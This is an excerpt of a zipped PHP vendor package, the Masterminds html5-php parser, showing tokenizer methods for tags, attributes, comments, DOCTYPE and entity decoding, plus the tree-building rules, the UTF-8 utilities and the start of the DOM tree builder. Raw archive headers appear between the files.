        if (!ctype_alpha($tok)) {
            $this->parseError("Expected tag name, got '%s'", $tok);
            if ("\0" == $tok || false === $tok) {
                return false;
            }

            return $this->bogusComment('</');
        }

        $name = $this->scanner->charsUntil("\n\f \t>");
        $name = self::CONFORMANT_XML === $this->mode ? $name : strtolower($name);
        // Trash whitespace.
        $this->scanner->whitespace();

        $tok = $this->scanner->current();
        if ('>' != $tok) {
            $this->parseError("Expected >, got '%s'", $tok);
            // We just trash stuff until we get to the next tag close.
            $this->scanner->charsUntil('>');
        }

        $this->events->endTag($name);
        $this->scanner->consume();

        return true;
    }

    /**
     * Consume a tag name and body. See section 8.2.4.10.
     */
    protected function tagName()
    {
        // We know this is at least one char.
        $name = $this->scanner->charsWhile(':_-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz');
        $name = self::CONFORMANT_XML === $this->mode ? $name : strtolower($name);
        $attributes = array();
        $selfClose = false;

        // Handle attribute parse exceptions here so that we can
        // react by trying to build a sensible parse tree.
        try {
            do {
                $this->scanner->whitespace();
                $this->attribute($attributes);
            } while (!$this->isTagEnd($selfClose));
        } catch (ParseError $e) {
            $selfClose = false;
        }

        $mode = $this->events->startTag($name, $attributes, $selfClose);

        if (is_int($mode)) {
            $this->setTextMode($mode, $name);
        }

        $this->scanner->consume();

        return true;
    }

    /**
     * Check if the scanner has reached the end of a tag.
     */
    protected function isTagEnd(&$selfClose)
    {
        $tok = $this->scanner->current();
        if ('/' == $tok) {
            $this->scanner->consume();
            $this->scanner->whitespace();
            $tok = $this->scanner->current();

            if ('>' == $tok) {
                $selfClose = true;

                return true;
            }
            if (false === $tok) {
                $this->parseError('Unexpected EOF inside of tag.');

                return true;
            }
            // Basically, we skip the / token and go on.
            // See 8.2.4.43.
            $this->parseError("Unexpected '%s' inside of a tag.", $tok);

            return false;
        }

        if ('>' == $tok) {
            return true;
        }
        if (false === $tok) {
            $this->parseError('Unexpected EOF inside of tag.');

            return true;
        }

        return false;
    }

    /**
     * Parse attributes from inside of a tag.
     *
     * @param string[] $attributes
     *
     * @return bool
     *
     * @throws ParseError
     */
    protected function attribute(&$attributes)
    {
        $tok = $this->scanner->current();
        if ('/' == $tok || '>' == $tok || false === $tok) {
            return false;
        }

        if ('<' == $tok) {
            $this->parseError("Unexpected '<' inside of attributes list.");
            // Push the < back onto the stack.
            $this->scanner->unconsume();
            // Let the caller figure out how to handle this.
            throw new ParseError('Start tag inside of attribute.');
        }

        $name = strtolower($this->scanner->charsUntil("/>=\n\f\t "));

        if (0 == strlen($name)) {
            $tok = $this->scanner->current();
            $this->parseError('Expected an attribute name, got %s.', $tok);
            // Really, only '=' can be the char here. Everything else gets absorbed
            // under one rule or another.
            $name = $tok;
            $this->scanner->consume();
        }

        $isValidAttribute = true;
        // Attribute names can contain most Unicode characters for HTML5.
        // But method "DOMElement::setAttribute" is throwing exception
        // because of it's own internal restriction so these have to be filtered.
        // see issue #23: https://github.com/Masterminds/html5-php/issues/23
        // and http://www.w3.org/TR/2011/WD-html5-20110525/syntax.html#syntax-attribute-name
        if (preg_match("/[\x1-\x2C\\/\x3B-\x40\x5B-\x5E\x60\x7B-\x7F]/u", $name)) {
            $this->parseError('Unexpected characters in attribute name: %s', $name);
            $isValidAttribute = false;
        }         // There is no limitation for 1st character in HTML5.
        // But method "DOMElement::setAttribute" is throwing exception for the
        // characters below so they have to be filtered.
        // see issue #23: https://github.com/Masterminds/html5-php/issues/23
        // and http://www.w3.org/TR/2011/WD-html5-20110525/syntax.html#syntax-attribute-name
        elseif (preg_match('/^[0-9.-]/u', $name)) {
            $this->parseError('Unexpected character at the begining of attribute name: %s', $name);
            $isValidAttribute = false;
        }
        // 8.1.2.3
        $this->scanner->whitespace();

        $val = $this->attributeValue();
        if ($isValidAttribute) {
            $attributes[$name] = $val;
        }

        return true;
    }

    /**
     * Consume an attribute value. See section 8.2.4.37 and after.
     *
     * @return string|null
     */
    protected function attributeValue()
    {
        if ('=' != $this->scanner->current()) {
            return null;
        }
        $this->scanner->consume();
        // 8.1.2.3
        $this->scanner->whitespace();

        $tok = $this->scanner->current();
        switch ($tok) {
            case "\n":
            case "\f":
            case ' ':
            case "\t":
                // Whitespace here indicates an empty value.
                return null;
            case '"':
            case "'":
                $this->scanner->consume();

                return $this->quotedAttributeValue($tok);
            case '>':
                // case '/': // 8.2.4.37 seems to allow foo=/ as a valid attr.
                $this->parseError('Expected attribute value, got tag end.');

                return null;
            case '=':
            case '`':
                $this->parseError('Expecting quotes, got %s.', $tok);

                return $this->unquotedAttributeValue();
            default:
                return $this->unquotedAttributeValue();
        }
    }

    /**
     * Get an attribute value string.
     *
     * @param string $quote IMPORTANT: This is a series of chars! Any one of which will be considered
     *                      termination of an attribute's value. E.g. "\"'" will stop at either
     *                      ' or ".
     *
     * @return string The attribute value.
     */
    protected function quotedAttributeValue($quote)
    {
        $stoplist = "\f" . $quote;
        $val = '';

        while (true) {
            $tokens = $this->scanner->charsUntil($stoplist . '&');
            if (false !== $tokens) {
                $val .= $tokens;
            } else {
                break;
            }

            $tok = $this->scanner->current();
            if ('&' == $tok) {
                $val .= $this->decodeCharacterReference(true);
                continue;
            }
            break;
        }
        $this->scanner->consume();

        return $val;
    }

    protected function unquotedAttributeValue()
    {
        $val = '';
        $tok = $this->scanner->current();
        while (false !== $tok) {
            switch ($tok) {
                case "\n":
                case "\f":
                case ' ':
                case "\t":
                case '>':
                    break 2;

                case '&':
                    $val .= $this->decodeCharacterReference(true);
                    $tok = $this->scanner->current();

                    break;

                case "'":
                case '"':
                case '<':
                case '=':
                case '`':
                    $this->parseError('Unexpected chars in unquoted attribute value %s', $tok);
                    $val .= $tok;
                    $tok = $this->scanner->next();
                    break;

                default:
                    $val .= $this->scanner->charsUntil("\t\n\f >&\"'<=`");

                    $tok = $this->scanner->current();
            }
        }

        return $val;
    }

    /**
     * Consume malformed markup as if it were a comment.
     * 8.2.4.44.
     *
     * The spec requires that the ENTIRE tag-like thing be enclosed inside of
     * the comment. So this will generate comments like:
     *
     * &lt;!--&lt/+foo&gt;--&gt;
     *
     * @param string $leading Prepend any leading characters. This essentially
     *                        negates the need to backtrack, but it's sort of a hack.
     *
     * @return bool
     */
    protected function bogusComment($leading = '')
    {
        $comment = $leading;
        $tokens = $this->scanner->charsUntil('>');
        if (false !== $tokens) {
            $comment .= $tokens;
        }
        $tok = $this->scanner->current();
        if (false !== $tok) {
            $comment .= $tok;
        }

        $this->flushBuffer();
        $this->events->comment($comment);
        $this->scanner->consume();

        return true;
    }

    /**
     * Read a comment.
     * Expects the first tok to be inside of the comment.
     *
     * @return bool
     */
    protected function comment()
    {
        $tok = $this->scanner->current();
        $comment = '';

        // <!-->. Emit an empty comment because 8.2.4.46 says to.
        if ('>' == $tok) {
            // Parse error. Emit the comment token.
            $this->parseError("Expected comment data, got '>'");
            $this->events->comment('');
            $this->scanner->consume();

            return true;
        }

        // Replace NULL with the replacement char.
        if ("\0" == $tok) {
            $tok = UTF8Utils::FFFD;
        }
        while (!$this->isCommentEnd()) {
            $comment .= $tok;
            $tok = $this->scanner->next();
        }

        $this->events->comment($comment);
        $this->scanner->consume();

        return true;
    }

    /**
     * Check if the scanner has reached the end of a comment.
     *
     * @return bool
     */
    protected function isCommentEnd()
    {
        $tok = $this->scanner->current();

        // EOF
        if (false === $tok) {
            // Hit the end.
            $this->parseError('Unexpected EOF in a comment.');

            return true;
        }

        // If next two tokens are not '--', not the end.
        if ('-' != $tok || '-' != $this->scanner->peek()) {
            return false;
        }

        $this->scanner->consume(2); // Consume '-' and one of '!' or '>'

        // Test for '>'
        if ('>' == $this->scanner->current()) {
            return true;
        }
        // Test for '!>'
        if ('!' == $this->scanner->current() && '>' == $this->scanner->peek()) {
            $this->scanner->consume(); // Consume the last '>'
            return true;
        }
        // Unread '-' and one of '!' or '>';
        $this->scanner->unconsume(2);

        return false;
    }

    /**
     * Parse a DOCTYPE.
     *
     * Parse a DOCTYPE declaration. This method has strong bearing on whether or
     * not Quirksmode is enabled on the event handler.
     *
     * @todo This method is a little long. Should probably refactor.
     *
     * @return bool
     */
    protected function doctype()
    {
        // Check that string is DOCTYPE.
        if ($this->scanner->sequenceMatches('DOCTYPE', false)) {
            $this->scanner->consume(7);
        } else {
            $chars = $this->scanner->charsWhile('DOCTYPEdoctype');
            $this->parseError('Expected DOCTYPE, got %s', $chars);

            return $this->bogusComment('<!' . $chars);
        }

        $this->scanner->whitespace();
        $tok = $this->scanner->current();

        // EOF: die.
        if (false === $tok) {
            $this->events->doctype('html5', EventHandler::DOCTYPE_NONE, '', true);
            $this->eof();

            return true;
        }

        // NULL char: convert.
        if ("\0" === $tok) {
            $this->parseError('Unexpected null character in DOCTYPE.');
        }

        $stop = " \n\f>";
        $doctypeName = $this->scanner->charsUntil($stop);
        // Lowercase ASCII, replace \0 with FFFD
        $doctypeName = strtolower(strtr($doctypeName, "\0", UTF8Utils::FFFD));

        $tok = $this->scanner->current();

        // If false, emit a parse error, DOCTYPE, and return.
        if (false === $tok) {
            $this->parseError('Unexpected EOF in DOCTYPE declaration.');
            $this->events->doctype($doctypeName, EventHandler::DOCTYPE_NONE, null, true);

            return true;
        }

        // Short DOCTYPE, like <!DOCTYPE html>
        if ('>' == $tok) {
            // DOCTYPE without a name.
            if (0 == strlen($doctypeName)) {
                $this->parseError('Expected a DOCTYPE name. Got nothing.');
                $this->events->doctype($doctypeName, 0, null, true);
                $this->scanner->consume();

                return true;
            }
            $this->events->doctype($doctypeName);
            $this->scanner->consume();

            return true;
        }
        $this->scanner->whitespace();

        $pub = strtoupper($this->scanner->getAsciiAlpha());
        $white = $this->scanner->whitespace();

        // Get ID, and flag it as pub or system.
        if (('PUBLIC' == $pub || 'SYSTEM' == $pub) && $white > 0) {
            // Get the sys ID.
            $type = 'PUBLIC' == $pub ? EventHandler::DOCTYPE_PUBLIC : EventHandler::DOCTYPE_SYSTEM;
            $id = $this->quotedString("\0>");
            if (false === $id) {
                $this->events->doctype($doctypeName, $type, $pub, false);

                return true;
            }

            // Premature EOF.
            if (false === $this->scanner->current()) {
                $this->parseError('Unexpected EOF in DOCTYPE');
                $this->events->doctype($doctypeName, $type, $id, true);

                return true;
            }

            // Well-formed complete DOCTYPE.
            $this->scanner->whitespace();
            if ('>' == $this->scanner->current()) {
                $this->events->doctype($doctypeName, $type, $id, false);
                $this->scanner->consume();

                return true;
            }

            // If we get here, we have <!DOCTYPE foo PUBLIC "bar" SOME_JUNK
            // Throw away the junk, parse error, quirks mode, return true.
            $this->scanner->charsUntil('>');
            $this->parseError('Malformed DOCTYPE.');
            $this->events->doctype($doctypeName, $type, $id, true);
            $this->scanner->consume();

            return true;
        }

        // Else it's a bogus DOCTYPE.
        // Consume to > and trash.
        $this->scanner->charsUntil('>');

        $this->parseError('Expected PUBLIC or SYSTEM. Got %s.', $pub);
        $this->events->doctype($doctypeName, 0, null, true);
        $this->scanner->consume();

        return true;
    }

    /**
     * Utility for reading a quoted string.
     *
     * @param string $stopchars Characters (in addition to a close-quote) that should stop the string.
     *                          E.g. sometimes '>' is higher precedence than '"' or "'".
     *
     * @return mixed String if one is found (quotations omitted).
     */
    protected function quotedString($stopchars)
    {
        $tok = $this->scanner->current();
        if ('"' == $tok || "'" == $tok) {
            $this->scanner->consume();
            $ret = $this->scanner->charsUntil($tok . $stopchars);
            if ($this->scanner->current() == $tok) {
                $this->scanner->consume();
            } else {
                // Parse error because no close quote.
                $this->parseError('Expected %s, got %s', $tok, $this->scanner->current());
            }

            return $ret;
        }

        return false;
    }

    /**
     * Handle a CDATA section.
     *
     * @return bool
     */
    protected function cdataSection()
    {
        $cdata = '';
        $this->scanner->consume();

        $chars = $this->scanner->charsWhile('CDAT');
        if ('CDATA' != $chars || '[' != $this->scanner->current()) {
            $this->parseError('Expected [CDATA[, got %s', $chars);

            return $this->bogusComment('<![' . $chars);
        }

        $tok = $this->scanner->next();
        do {
            if (false === $tok) {
                $this->parseError('Unexpected EOF inside CDATA.');
                $this->bogusComment('<![CDATA[' . $cdata);

                return true;
            }
            $cdata .= $tok;
            $tok = $this->scanner->next();
        } while (!$this->scanner->sequenceMatches(']]>'));

        // Consume ]]>
        $this->scanner->consume(3);

        $this->events->cdata($cdata);

        return true;
    }

    // ================================================================
    // Non-HTML5
    // ================================================================

    /**
     * Handle a processing instruction.
     *
     * XML processing instructions are supposed to be ignored in HTML5,
     * treated as "bogus comments". However, since we're not a user
     * agent, we allow them. We consume until ?> and then issue a
     * EventListener::processingInstruction() event.
     *
     * @return bool
     */
    protected function processingInstruction()
    {
        if ('?' != $this->scanner->current()) {
            return false;
        }

        $tok = $this->scanner->next();
        $procName = $this->scanner->getAsciiAlpha();
        $white = $this->scanner->whitespace();

        // If not a PI, send to bogusComment.
        if (0 == strlen($procName) || 0 == $white || false == $this->scanner->current()) {
            $this->parseError("Expected processing instruction name, got $tok");
            $this->bogusComment('<?' . $tok . $procName);

            return true;
        }

        $data = '';
        // As long as it's not the case that the next two chars are ? and >.
        while (!('?' == $this->scanner->current() && '>' == $this->scanner->peek())) {
            $data .= $this->scanner->current();

            $tok = $this->scanner->next();
            if (false === $tok) {
                $this->parseError('Unexpected EOF in processing instruction.');
                $this->events->processingInstruction($procName, $data);

                return true;
            }
        }

        $this->scanner->consume(2); // Consume the closing tag
        $this->events->processingInstruction($procName, $data);

        return true;
    }

    // ================================================================
    // UTILITY FUNCTIONS
    // ================================================================

    /**
     * Read from the input stream until we get to the desired sequene
     * or hit the end of the input stream.
     *
     * @param string $sequence
     *
     * @return string
     */
    protected function readUntilSequence($sequence)
    {
        $buffer = '';

        // Optimization for reading larger blocks faster.
        $first = substr($sequence, 0, 1);
        while (false !== $this->scanner->current()) {
            $buffer .= $this->scanner->charsUntil($first);

            // Stop as soon as we hit the stopping condition.
            if ($this->scanner->sequenceMatches($sequence, false)) {
                return $buffer;
            }
            $buffer .= $this->scanner->current();
            $this->scanner->consume();
        }

        // If we get here, we hit the EOF.
        $this->parseError('Unexpected EOF during text read.');

        return $buffer;
    }

    /**
     * Check if upcomming chars match the given sequence.
     *
     * This will read the stream for the $sequence. If it's
     * found, this will return true. If not, return false.
     * Since this unconsumes any chars it reads, the caller
     * will still need to read the next sequence, even if
     * this returns true.
     *
     * Example: $this->scanner->sequenceMatches('</script>') will
     * see if the input stream is at the start of a
     * '</script>' string.
     *
     * @param string $sequence
     * @param bool   $caseSensitive
     *
     * @return bool
     */
    protected function sequenceMatches($sequence, $caseSensitive = true)
    {
        @trigger_error(__METHOD__ . ' method is deprecated since version 2.4 and will be removed in 3.0. Use Scanner::sequenceMatches() instead.', E_USER_DEPRECATED);

        return $this->scanner->sequenceMatches($sequence, $caseSensitive);
    }

    /**
     * Send a TEXT event with the contents of the text buffer.
     *
     * This emits an EventHandler::text() event with the current contents of the
     * temporary text buffer. (The buffer is used to group as much PCDATA
     * as we can instead of emitting lots and lots of TEXT events.)
     */
    protected function flushBuffer()
    {
        if ('' === $this->text) {
            return;
        }
        $this->events->text($this->text);
        $this->text = '';
    }

    /**
     * Add text to the temporary buffer.
     *
     * @see flushBuffer()
     *
     * @param string $str
     */
    protected function buffer($str)
    {
        $this->text .= $str;
    }

    /**
     * Emit a parse error.
     *
     * A parse error always returns false because it never consumes any
     * characters.
     *
     * @param string $msg
     *
     * @return string
     */
    protected function parseError($msg)
    {
        $args = func_get_args();

        if (count($args) > 1) {
            array_shift($args);
            $msg = vsprintf($msg, $args);
        }

        $line = $this->scanner->currentLine();
        $col = $this->scanner->columnOffset();
        $this->events->parseError($msg, $line, $col);

        return false;
    }

    /**
     * Decode a character reference and return the string.
     *
     * If $inAttribute is set to true, a bare & will be returned as-is.
     *
     * @param bool $inAttribute Set to true if the text is inside of an attribute value.
     *                          false otherwise.
     *
     * @return string
     */
    protected function decodeCharacterReference($inAttribute = false)
    {
        // Next char after &.
        $tok = $this->scanner->next();
        $start = $this->scanner->position();

        if (false === $tok) {
            return '&';
        }

        // These indicate not an entity. We return just
        // the &.
        if ("\t" === $tok || "\n" === $tok || "\f" === $tok || ' ' === $tok || '&' === $tok || '<' === $tok) {
            // $this->scanner->next();
            return '&';
        }

        // Numeric entity
        if ('#' === $tok) {
            $tok = $this->scanner->next();

            if (false === $tok) {
                $this->parseError('Expected &#DEC; &#HEX;, got EOF');
                $this->scanner->unconsume(1);

                return '&';
            }

            // Hexidecimal encoding.
            // X[0-9a-fA-F]+;
            // x[0-9a-fA-F]+;
            if ('x' === $tok || 'X' === $tok) {
                $tok = $this->scanner->next(); // Consume x

                // Convert from hex code to char.
                $hex = $this->scanner->getHex();
                if (empty($hex)) {
                    $this->parseError('Expected &#xHEX;, got &#x%s', $tok);
                    // We unconsume because we don't know what parser rules might
                    // be in effect for the remaining chars. For example. '&#>'
                    // might result in a specific parsing rule inside of tag
                    // contexts, while not inside of pcdata context.
                    $this->scanner->unconsume(2);

                    return '&';
                }
                $entity = CharacterReference::lookupHex($hex);
            }             // Decimal encoding.
            // [0-9]+;
            else {
                // Convert from decimal to char.
                $numeric = $this->scanner->getNumeric();
                if (false === $numeric) {
                    $this->parseError('Expected &#DIGITS;, got &#%s', $tok);
                    $this->scanner->unconsume(2);

                    return '&';
                }
                $entity = CharacterReference::lookupDecimal($numeric);
            }
        } elseif ('=' === $tok && $inAttribute) {
            return '&';
        } else { // String entity.
            // Attempt to consume a string up to a ';'.
            // [a-zA-Z0-9]+;
            $cname = $this->scanner->getAsciiAlphaNum();
            $entity = CharacterReference::lookupName($cname);

            // When no entity is found provide the name of the unmatched string
            // and continue on as the & is not part of an entity. The & will
            // be converted to &amp; elsewhere.
            if (null === $entity) {
                if (!$inAttribute || '' === $cname) {
                    $this->parseError("No match in entity table for '%s'", $cname);
                }
                $this->scanner->unconsume($this->scanner->position() - $start);

                return '&';
            }
        }

        // The scanner has advanced the cursor for us.
        $tok = $this->scanner->current();

        // We have an entity. We're done here.
        if (';' === $tok) {
            $this->scanner->consume();

            return $entity;
        }

        // Failing to match ; means unconsume the entire string.
        $this->scanner->unconsume($this->scanner->position() - $start);

        $this->parseError('Expected &ENTITY;, got &ENTITY%s (no trailing ;) ', $tok);

        return '&';
    }
}
PK
h�\r5u��?vendor/masterminds/html5/src/HTML5/Parser/TreeBuildingRules.phpnu�[���<?php

namespace Masterminds\HTML5\Parser;

/**
 * Handles special-case rules for the DOM tree builder.
 *
 * Many tags have special rules that need to be accomodated on an
 * individual basis. This class handles those rules.
 *
 * See section 8.1.2.4 of the spec.
 *
 * @todo - colgroup and col special behaviors
 *       - body and head special behaviors
 */
class TreeBuildingRules
{
    protected static $tags = array(
        'li' => 1,
        'dd' => 1,
        'dt' => 1,
        'rt' => 1,
        'rp' => 1,
        'tr' => 1,
        'th' => 1,
        'td' => 1,
        'thead' => 1,
        'tfoot' => 1,
        'tbody' => 1,
        'table' => 1,
        'optgroup' => 1,
        'option' => 1,
    );

    /**
     * Returns true if the given tagname has special processing rules.
     */
    public function hasRules($tagname)
    {
        return isset(static::$tags[$tagname]);
    }

    /**
     * Evaluate the rule for the current tag name.
     *
     * This may modify the existing DOM.
     *
     * @return \DOMElement The new Current DOM element.
     */
    public function evaluate($new, $current)
    {
        switch ($new->tagName) {
            case 'li':
                return $this->handleLI($new, $current);
            case 'dt':
            case 'dd':
                return $this->handleDT($new, $current);
            case 'rt':
            case 'rp':
                return $this->handleRT($new, $current);
            case 'optgroup':
                return $this->closeIfCurrentMatches($new, $current, array(
                    'optgroup',
                ));
            case 'option':
                return $this->closeIfCurrentMatches($new, $current, array(
                    'option',
                ));
            case 'tr':
                return $this->closeIfCurrentMatches($new, $current, array(
                    'tr',
                ));
            case 'td':
            case 'th':
                return $this->closeIfCurrentMatches($new, $current, array(
                    'th',
                    'td',
                ));
            case 'tbody':
            case 'thead':
            case 'tfoot':
            case 'table': // Spec isn't explicit about this, but it's necessary.

                return $this->closeIfCurrentMatches($new, $current, array(
                    'thead',
                    'tfoot',
                    'tbody',
                ));
        }

        return $current;
    }

    protected function handleLI($ele, $current)
    {
        return $this->closeIfCurrentMatches($ele, $current, array(
            'li',
        ));
    }

    protected function handleDT($ele, $current)
    {
        return $this->closeIfCurrentMatches($ele, $current, array(
            'dt',
            'dd',
        ));
    }

    protected function handleRT($ele, $current)
    {
        return $this->closeIfCurrentMatches($ele, $current, array(
            'rt',
            'rp',
        ));
    }

    protected function closeIfCurrentMatches($ele, $current, $match)
    {
        if (in_array($current->tagName, $match, true)) {
            $current->parentNode->appendChild($ele);
        } else {
            $current->appendChild($ele);
        }

        return $ele;
    }
}
PK
h�\���i[[7vendor/masterminds/html5/src/HTML5/Parser/UTF8Utils.phpnu�[���<?php

namespace Masterminds\HTML5\Parser;

/*
Portions based on code from html5lib files with the following copyright:

Copyright 2009 Geoffrey Sneddon <http://gsnedders.com/>

Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the
    "Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/

use Masterminds\HTML5\Exception;

class UTF8Utils
{
    /**
     * The Unicode replacement character.
     */
    const FFFD = "\xEF\xBF\xBD";

    /**
     * Count the number of characters in a string.
     * UTF-8 aware. This will try (in order) iconv, MB, libxml, and finally a custom counter.
     *
     * @param string $string
     *
     * @return int
     */
    public static function countChars($string)
    {
        // Get the length for the string we need.
        if (function_exists('mb_strlen')) {
            return mb_strlen($string, 'utf-8');
        }

        if (function_exists('iconv_strlen')) {
            return iconv_strlen($string, 'utf-8');
        }

        if (function_exists('utf8_decode')) {
            // MPB: Will this work? Won't certain decodes lead to two chars
            // extrapolated out of 2-byte chars?
            return strlen(utf8_decode($string));
        }

        $count = count_chars($string);

        // 0x80 = 0x7F - 0 + 1 (one added to get inclusive range)
        // 0x33 = 0xF4 - 0x2C + 1 (one added to get inclusive range)
        return array_sum(array_slice($count, 0, 0x80)) + array_sum(array_slice($count, 0xC2, 0x33));
    }

    /**
     * Convert data from the given encoding to UTF-8.
     *
     * This has not yet been tested with charactersets other than UTF-8.
     * It should work with ISO-8859-1/-13 and standard Latin Win charsets.
     *
     * @param string $data     The data to convert
     * @param string $encoding A valid encoding. Examples: http://www.php.net/manual/en/mbstring.supported-encodings.php
     *
     * @return string
     */
    public static function convertToUTF8($data, $encoding = 'UTF-8')
    {
        /*
         * From the HTML5 spec: Given an encoding, the bytes in the input stream must be converted
         * to Unicode characters for the tokeniser, as described by the rules for that encoding,
         * except that the leading U+FEFF BYTE ORDER MARK character, if any, must not be stripped
         * by the encoding layer (it is stripped by the rule below). Bytes or sequences of bytes
         * in the original byte stream that could not be converted to Unicode characters must be
         * converted to U+FFFD REPLACEMENT CHARACTER code points.
         */

        // mb_convert_encoding is chosen over iconv because of a bug. The best
        // details for the bug are on http://us1.php.net/manual/en/function.iconv.php#108643
        // which contains links to the actual but reports as well as work around
        // details.
        if (function_exists('mb_convert_encoding')) {
            // mb library has the following behaviors:
            // - UTF-16 surrogates result in false.
            // - Overlongs and outside Plane 16 result in empty strings.

            // Before we run mb_convert_encoding we need to tell it what to do with
            // characters it does not know. This could be different than the parent
            // application executing this library so we store the value, change it
            // to our needs, and then change it back when we are done. This feels
            // a little excessive and it would be great if there was a better way.
            $save = mb_substitute_character();
            mb_substitute_character('none');
            $data = mb_convert_encoding($data, 'UTF-8', $encoding);
            mb_substitute_character($save);
        }
        // @todo Get iconv running in at least some environments if that is possible.
        elseif (function_exists('iconv') && 'auto' !== $encoding) {
            // fprintf(STDOUT, "iconv found\n");
            // iconv has the following behaviors:
            // - Overlong representations are ignored.
            // - Beyond Plane 16 is replaced with a lower char.
            // - Incomplete sequences generate a warning.
            $data = @iconv($encoding, 'UTF-8//IGNORE', $data);
        } else {
            throw new Exception('Not implemented, please install mbstring or iconv');
        }

        /*
         * One leading U+FEFF BYTE ORDER MARK character must be ignored if any are present.
         */
        if ("\xEF\xBB\xBF" === substr($data, 0, 3)) {
            $data = substr($data, 3);
        }

        return $data;
    }

    /**
     * Checks for Unicode code points that are not valid in a document.
     *
     * @param string $data A string to analyze
     *
     * @return array An array of (string) error messages produced by the scanning
     */
    public static function checkForIllegalCodepoints($data)
    {
        // Vestigal error handling.
        $errors = array();

        /*
         * All U+0000 null characters in the input must be replaced by U+FFFD REPLACEMENT CHARACTERs.
         * Any occurrences of such characters is a parse error.
         */
        for ($i = 0, $count = substr_count($data, "\0"); $i < $count; ++$i) {
            $errors[] = 'null-character';
        }

        /*
         * Any occurrences of any characters in the ranges U+0001 to U+0008, U+000B, U+000E to U+001F, U+007F
         * to U+009F, U+D800 to U+DFFF , U+FDD0 to U+FDEF, and characters U+FFFE, U+FFFF, U+1FFFE, U+1FFFF,
         * U+2FFFE, U+2FFFF, U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE, U+6FFFF, U+7FFFE,
         * U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF, U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF,
         * U+DFFFE, U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, and U+10FFFF are parse errors.
         * (These are all control characters or permanently undefined Unicode characters.)
         */
        // Check PCRE is loaded.
        $count = preg_match_all(
            '/(?:
        [\x01-\x08\x0B\x0E-\x1F\x7F] # U+0001 to U+0008, U+000B,  U+000E to U+001F and U+007F
      |
        \xC2[\x80-\x9F] # U+0080 to U+009F
      |
        \xED(?:\xA0[\x80-\xFF]|[\xA1-\xBE][\x00-\xFF]|\xBF[\x00-\xBF]) # U+D800 to U+DFFFF
      |
        \xEF\xB7[\x90-\xAF] # U+FDD0 to U+FDEF
      |
        \xEF\xBF[\xBE\xBF] # U+FFFE and U+FFFF
      |
        [\xF0-\xF4][\x8F-\xBF]\xBF[\xBE\xBF] # U+nFFFE and U+nFFFF (1 <= n <= 10_{16})
      )/x', $data, $matches);
        for ($i = 0; $i < $count; ++$i) {
            $errors[] = 'invalid-codepoint';
        }

        return $errors;
    }
}
PK
h�\�w"YY<vendor/masterminds/html5/src/HTML5/Parser/DOMTreeBuilder.phpnu�[���<?php

namespace Masterminds\HTML5\Parser;

use Masterminds\HTML5\Elements;
use Masterminds\HTML5\InstructionProcessor;

/**
 * Create an HTML5 DOM tree from events.
 *
 * This attempts to create a DOM from events emitted by a parser. This
 * attempts (but does not guarantee) to up-convert older HTML documents
 * to HTML5. It does this by applying HTML5's rules, but it will not
 * change the architecture of the document itself.
 *
 * Many of the error correction and quirks features suggested in the specification
 * are implemented herein; however, not all of them are. Since we do not
 * assume a graphical user agent, no presentation-specific logic is conducted
 * during tree building.
 *
 * FIXME: The present tree builder does not exactly follow the state machine rules
 * for insert modes as outlined in the HTML5 spec. The processor needs to be
 * re-written to accomodate this. See, for example, the Go language HTML5
 * parser.
 */
class DOMTreeBuilder implements EventHandler
{
    /**
     * Defined in http://www.w3.org/TR/html51/infrastructure.html#html-namespace-0.
     */
    const NAMESPACE_HTML = 'http://www.w3.org/1999/xhtml';

    const NAMESPACE_MATHML = 'http://www.w3.org/1998/Math/MathML';

    const NAMESPACE_SVG = 'http://www.w3.org/2000/svg';

    const NAMESPACE_XLINK = 'http://www.w3.org/1999/xlink';

    const NAMESPACE_XML = 'http://www.w3.org/XML/1998/namespace';

    const NAMESPACE_XMLNS = 'http://www.w3.org/2000/xmlns/';

    const OPT_DISABLE_HTML_NS = 'disable_html_ns';

    const OPT_TARGET_DOC = 'target_document';

    const OPT_IMPLICIT_NS = 'implicit_namespaces';

    /**
     * Holds the HTML5 element names that causes a namespace switch.
     *
     * @var array
     */
    protected $nsRoots = array(
        'html' => self::NAMESPACE_HTML,
        'svg' => self::NAMESPACE_SVG,
        'math' => self::NAMESPACE_MATHML,
    );

    /**
     * Holds the always available namespaces (which does not require the XMLNS declaration).
     *
     * @var array
     */
    protected $implicitNamespaces = array(
        'xml' => self::NAMESPACE_XML,
        'xmlns' => self::NAMESPACE_XMLNS,
        'xlink' => self::NAMESPACE_XLINK,
    );

    /**
     * Holds a stack of currently active namespaces.
     *
     * @var array
     */
    protected $nsStack = array();

    /**
     * Holds the number of namespaces declared by a node.
     *
     * @var array
     */
    protected $pushes = array();

    /**
     * Defined in 8.2.5.
     */
    const IM_INITIAL = 0;

    const IM_BEFORE_HTML = 1;

    const IM_BEFORE_HEAD = 2;

    const IM_IN_HEAD = 3;

    const IM_IN_HEAD_NOSCRIPT = 4;

    const IM_AFTER_HEAD = 5;

    const IM_IN_BODY = 6;

    const IM_TEXT = 7;

    const IM_IN_TABLE = 8;

    const IM_IN_TABLE_TEXT = 9;

    const IM_IN_CAPTION = 10;

    const IM_IN_COLUMN_GROUP = 11;

    const IM_IN_TABLE_BODY = 12;

    const IM_IN_ROW = 13;

    const IM_IN_CELL = 14;

    const IM_IN_SELECT = 15;

